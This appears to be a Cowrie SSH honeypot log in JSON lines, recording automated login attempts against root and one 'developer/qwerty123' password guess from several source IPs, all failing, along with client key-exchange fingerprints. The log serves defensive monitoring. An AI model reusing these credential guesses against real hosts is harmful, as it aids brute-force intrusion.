{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.704196Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.715572Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.719608Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.796253Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.800364Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.807311Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.810820Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.889460Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.893672Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.900629Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.904529Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.983045Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.991189Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.995354Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:48.079594Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":48750,"dst_ip":"159.203.135.109","dst_port":22,"session":"2448d3f80463","protocol":"ssh","message":"New connection: 152.53.22.186:48750 (159.203.135.109:22) [session: 2448d3f80463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:20.009217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:20.015467Z","src_ip":"152.53.22.186","session":"2448d3f80463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:20.102386Z","src_ip":"152.53.22.186","session":"2448d3f80463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"qwerty123","message":"login attempt [developer/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:20.481026Z","src_ip":"152.53.22.186","session":"2448d3f80463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:21.575249Z","src_ip":"152.53.22.186","session":"2448d3f80463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.218","src_port":41328,"dst_ip":"10.17.0.5","dst_port":22,"session":"2841688fabd2","protocol":"ssh","message":"New connection: 96.127.172.218:41328 (10.17.0.5:22) [session: 2841688fabd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.558128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.563311Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.608264Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.826542Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.830376Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
